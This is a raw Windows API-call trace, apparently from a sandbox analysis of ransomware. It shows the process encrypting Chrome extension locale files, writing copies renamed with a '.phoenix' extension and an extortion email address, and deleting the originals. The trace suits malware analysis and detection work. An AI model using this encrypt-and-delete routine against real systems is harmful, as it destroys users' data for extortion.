	[0261.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.658] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0261.658] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.658] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x165, lpOverlapped=0x0) returned 1
	[0261.660] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x170, dwBufLen=0x170 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x170) returned 1
	[0261.660] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x170, lpOverlapped=0x0) returned 1
	[0261.660] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0261.660] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.660] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.660] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.660] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.661] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.661] CloseHandle (hObject=0x240) returned 1
	[0261.661] CloseHandle (hObject=0x250) returned 1
	[0261.661] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json")) returned 1
	[0261.662] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.663] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=607) returned 1
	[0261.663] CloseHandle (hObject=0x250) returned 1
	[0261.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json")) returned 0x20
	[0261.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.663] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.663] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.664] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0261.664] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.664] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x25f, lpOverlapped=0x0) returned 1
	[0261.704] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x260, dwBufLen=0x260 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x260) returned 1
	[0261.704] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x260, lpOverlapped=0x0) returned 1
	[0261.705] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0261.705] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.705] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.705] CryptDestroyKey (hKey=0x151140) returned 1
	[0261.705] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.705] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.705] CloseHandle (hObject=0x250) returned 1
	[0261.705] CloseHandle (hObject=0x240) returned 1
	[0261.705] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json")) returned 1
	[0261.706] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.706] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.707] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=451) returned 1
	[0261.707] CloseHandle (hObject=0x240) returned 1
	[0261.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json")) returned 0x20
	[0261.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.707] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.708] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.708] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.708] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.709] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0261.709] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.709] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1c3, lpOverlapped=0x0) returned 1
	[0261.710] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0261.710] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0261.710] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0261.710] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.710] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.710] CryptDestroyKey (hKey=0x151380) returned 1
	[0261.710] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.717] CryptDestroyKey (hKey=0x151640) returned 1
	[0261.717] CloseHandle (hObject=0x240) returned 1
	[0261.718] CloseHandle (hObject=0x250) returned 1
	[0261.718] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json")) returned 1
	[0261.719] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.719] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.719] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=300) returned 1
	[0261.719] CloseHandle (hObject=0x250) returned 1
	[0261.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json")) returned 0x20
	[0261.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.720] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.720] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.720] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.720] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.722] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0261.722] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.722] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x12c, lpOverlapped=0x0) returned 1
	[0261.723] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x130, dwBufLen=0x130 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x130) returned 1
	[0261.723] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x130, lpOverlapped=0x0) returned 1
	[0261.724] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0261.724] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.724] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.724] CryptDestroyKey (hKey=0x151200) returned 1
	[0261.724] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.726] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.726] CloseHandle (hObject=0x250) returned 1
	[0261.726] CloseHandle (hObject=0x2e4) returned 1
	[0261.726] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json")) returned 1
	[0261.727] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.727] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.728] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=203) returned 1
	[0261.728] CloseHandle (hObject=0x2e4) returned 1
	[0261.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json")) returned 0x20
	[0261.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.728] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.728] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.728] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.728] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.729] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1511c0) returned 1
	[0261.729] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.729] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xcb, lpOverlapped=0x0) returned 1
	[0261.730] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0261.730] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0261.731] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0261.731] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.731] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.731] CryptDestroyKey (hKey=0x151640) returned 1
	[0261.731] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.731] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0261.731] CloseHandle (hObject=0x2e4) returned 1
	[0261.731] CloseHandle (hObject=0x250) returned 1
	[0261.731] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json")) returned 1
